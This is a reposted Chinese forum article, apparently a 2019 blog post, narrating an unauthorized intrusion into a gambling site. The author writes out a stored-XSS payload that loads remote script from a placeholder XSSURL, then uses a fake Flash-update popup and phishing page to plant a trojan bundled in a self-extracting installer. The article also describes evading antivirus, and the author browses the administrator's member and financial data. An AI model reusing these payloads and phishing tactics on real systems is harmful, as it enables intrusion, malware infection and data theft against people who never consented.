搜索

[18504] 2019-12-09_记一次BC站实战渗透从XSS到主机上线

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-18
2019-12-09_记一次BC站实战渗透从XSS到主机上线 记 一 次 B C 站 实 战 渗 透   |   从 X S S 到 主 机 上 线 原 创   S e 7 e n   H A C K 学 习 呀   2 0 1 9 - 1 2 - 0 9 故 事 的 起 因 故 事 的 起 因 前 几 天 收 到 一 封 邮 件 ， 内 容 是 这 样 的 ： 你 说 发 谁 哪 里 不 好 ， 发 到 我 这 里 来 ， 正 好 最 近 辞 职 了 没 事 干 ， 搞 下 看 看 。 加 上 那 个 人 的 好 友 以 后 ， 象 征 性 的 聊 了 几 句 ， 大 概 就 是 ： 我 说 自 己 因 为 网 赌 没 钱 借 了 高 利 贷 ， 让 他 带 我 玩 这 个 ， 好 还 上 贷 款 ， 没 说 几 句 就 给 我 发 了 网 址 和 邀 请 码 （ 这 个 站 没 邀 请 码 注 册 不 上 ） ， 让 我 去 网 站 里 面 充 钱 ， 我 说 好 ， 我 先 去 冲 一 千 ， 完 事 师 傅 你 一 定 要 好 好 带 我 ， 然 后 就 去 注 册 了 （ 后 来 我 没 充 钱 ， 他 就 一 直 抖 我 ， 给 我 发 消 息 ， 觉 得 烦 就 把 他 删 了 ， 所 以 聊 天 记 录 也 没 了 ， 简 单 口 述 下 没 截 图 ） 。 漏 洞 挖 掘 漏 洞 挖 掘 官 网 截 图 官 网 截 图 信 息 收 集 阶 段 略 过 ， 太 麻 烦 了 ， 有 云 盾 （ W A F + C D N ） ， 看 下 面 云 悉 指 纹 识 别 的 图 吧 ， 测 试 各 种 功 能 点 ， 没 有 结 果 ， 不 得 不 说 ， 大 部 分 B C 安 全 都 是 做 的 不 错 的 。
想 了 会 ， 看 到 一 个 聊 天 室 功 能 ， 进 去 看 看 都 在 说 啥 ， 结 果 发 现 说 话 来 来 回 回 就 那 几 个 人 ， 偶 尔 有 几 个 和 我 一 样 的 普 通 会 员 ， 我 就 感 觉 ， 这 尼 玛 是 不 是 托 啊 ， 一 堆 什 么 导 师 嚷 嚷 着 跟 着 下 注 。 职 业 习 惯 ： 职 业 习 惯 ： 看 见 框 就 想 叉 ， 一 发 x s s   p a y l o a d 打 过 去 ： w d n m d 没 反 应 ？ 明 明 加 载 了 啊 … 问 了 下 别 的 师 傅 ， 说 这 种 情 况 有 可 能 是 有 C S P ， 附 上 相 关 介 绍 ： h t t p s : / / d e v e l o p e r . m o z i l l a . o r g / z h - C N / d o c s / W e b / H T T P / C S P 我 这 里 就 不 解 释 了 ， 本 来 打 算 放 弃 ， 想 了 下 万 一   i m g   的 没 有 被 限 制 呢 。 再 吃 我 一 发 ： < / t E x t A r E a > ' " > < s C R i P t   s R C = X S S U R L > < / s C r I p T > < i m g   s r c = x   o n e r r o r = s = c r e a t e E l e m e n t ( ' s c r i p t ' ) ; b o d y . a p p e n d C h i l d ( s ) ; s . s r c = ' X S S U R L ' ; >
叮   ~   叮   ~   手 机 响 了 ， 多 么 美 妙 的 声 音 ， p a y l o a d 成 功 执 行 ， 打 来 一 堆 c o o k i e （ 还 是 不 同 域 名 ） ， 然 而 现 实 是 残 酷 的 ， 这 个 站 有 H t t p O n l y ， c o o k i e 不 能 用 ， 历 史 密 码 也 没 拿 到 ， 不 过 不 要 灰 心 ， 咱 还 有 更 猥 琐 的 办 法 。
F l a s h 水 坑 钓 鱼 水 坑 钓 鱼 既 然 正 面 肛 不 动 你 ， 咱 就 来 侧 面 的 。 前 段 时 间 经 常 看 到 无 常 师 傅 的 f l a s h 钓 鱼 操 作 ， 很 经 典 啊 ， 然 后 就 想 到 自 己 有 天 会 用 到 f l a s h 官 网 的 钓 鱼 源 码 ， 很 早 就 写 好 了 放 在 G i t H u b 上 ： h t t p s : / / g i t h u b . c o m / r 0 0 t S e 7 e n / F a k e - f l a s h . c n 前 期 准 备 前 期 准 备 一 个 免 费 空 间 ， 一 个 免 费 域 名 （ 域 名 可 以 搞 一 个   w w w . f l a s h x x x . t k   这 种 的 ， 可 信 度 比 较 高 ） ， 一 个 可 以 正 常 上 线 的 马 子 。 然 后 x s s 平 台 搞 个 模 块 ， 简 单 解 释 下 代 码 ， 一 开 始 重 写 a l e r t 方 法 并 屏 蔽 网 址 显 示 ， 弹 出 F l a s h 升 级 提 示 ， 跳 转 至 钓 鱼 页 ： 关 于 马 子 关 于 马 子
可 以 做 到 运 行 正 常 安 装 文 件 的 同 时 运 行 马 子 ， 骚 姿 势 ： 自 解 压 捆 绑 文 件 的 利 用 h t t p s : / / w w w . b a i k e s e c . c o m / w e b s t u d y / s t i l l / 7 7 . h t m l 为 了 让 自 解 压 的 e x e 文 件 可 以 正 常 运 行 （ 已 经 改 成 了 正 常 的 安 装 文 件 图 标 ） ， 必 须 确 保 他 有 解 压 软 件 ， 我 就 把 钓 鱼 页 的 自 解 压 文 件 压 缩 了 下 ， 成 了   f l a s h p l a y e r p p _ i n s t a l l _ c n . z i p ， 这 样 一 来 他 必 须 安 装 解 压 文 件 才 能 打 开 安 装 程 序 ， 马 子 自 然 生 效 了 。 关 于 免 杀 关 于 免 杀 由 于 技 术 有 限 ， 毕 竟 咱 也 不 是 搞 免 杀 的 ， 生 成 的 马 子 会 被 部 分 杀 软 报 毒 ， 也 不 知 道 对 面 用 什 么 杀 软 ， 所 以 想 了 个 猥 琐 但 有 效 的 办 法 ， 其 实 不 少 下 载 站 下 载 的 文 件 也 爱 这 么 干 ， 哈 哈 。 一 切 就 绪 一 切 就 绪 万 事 俱 备 ， 只 欠 东 风 ， 直 接 发 出 去 刚 才 写 的 升 级 提 示 + 跳 转 的 x s s   p a y l o a d ： 页 面 成 功 弹 出 提 示 ， 对 方 不 点 确 定 页 面 就 一 直 卡 住 ， 点 了 确 定 就 跳 来 我 的 钓 鱼 页 （ 这 里 钓 鱼 页 也 加 了 点 料 ， 让 他 点 返 回 时 无 限 回 跳 钓 鱼 页 ） 不 过 一 开 始 并 没 有 人 上 线 ， 再 点 进 去 一 看 管 理 员 重 置 了 聊 天 页 的 内 容 。 奥 利 给 曾 经 说 过 ： 我 们 遇 到 什 么 困 难 也 不 要 怕 ， 咱 换 个 号 继 续 叉 呗 ， 在 间 歇 性 叉 叉 圈 圈 了 十 几 次 之 后 ， 管 理 员 可 能 是 实 在 忍 不 住 了 （ 管 理 员 ： 大 哥 你 别 弹 了 ， 我 装 还 不 行 嘛 ） ， 终 于 运 行 了 我 的 马 子 。
成 功 上 线 ： 成 功 上 线 ： 这 里 就 上 线 了 一 台 ， 不 过 很 幸 运 ， 是 管 理 员 的 机 器 ， 不 然 之 前 的 努 力 都 白 费 了 。 看 一 会 对 面 在 干 哈 ： 这 个 清 楚 点 ， 可 以 看 到 还 依 然 打 开 着 钓 鱼 页 ， 俩 人 还 讨 论 亏 钱 了 ， 笑 死 了 ：
打 开 了 一 个 账 面 ， 这 流 水 咱 也 看 不 懂 ： 再 看 看 有 存 着 啥 好 东 西 ， 两 个 硬 盘 一 个 U 盘 ， C 盘 E 盘 没 有 什 么 ： F 盘 里 有 料 了 ， 都 是 一 些 会 员 数 据 ， 账 单 流 水 ， 管 理 后 台 配 置 啥 的 ：
点 到 为 止 ： 点 到 为 止 ： 不 多 说 了 ， 看 了 下 上 线 的 I P ， 为 了 挣 钱 跑 的 挺 远 ， 老 哥 背 井 离 乡 怪 不 容 易 的 ， 祝 你 安 安 心 心 的 回 到 祖 国 的 怀 抱 过 个 年 吧 。 。 。 原 创 投 稿 作 者 :   S e 7 e n

回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理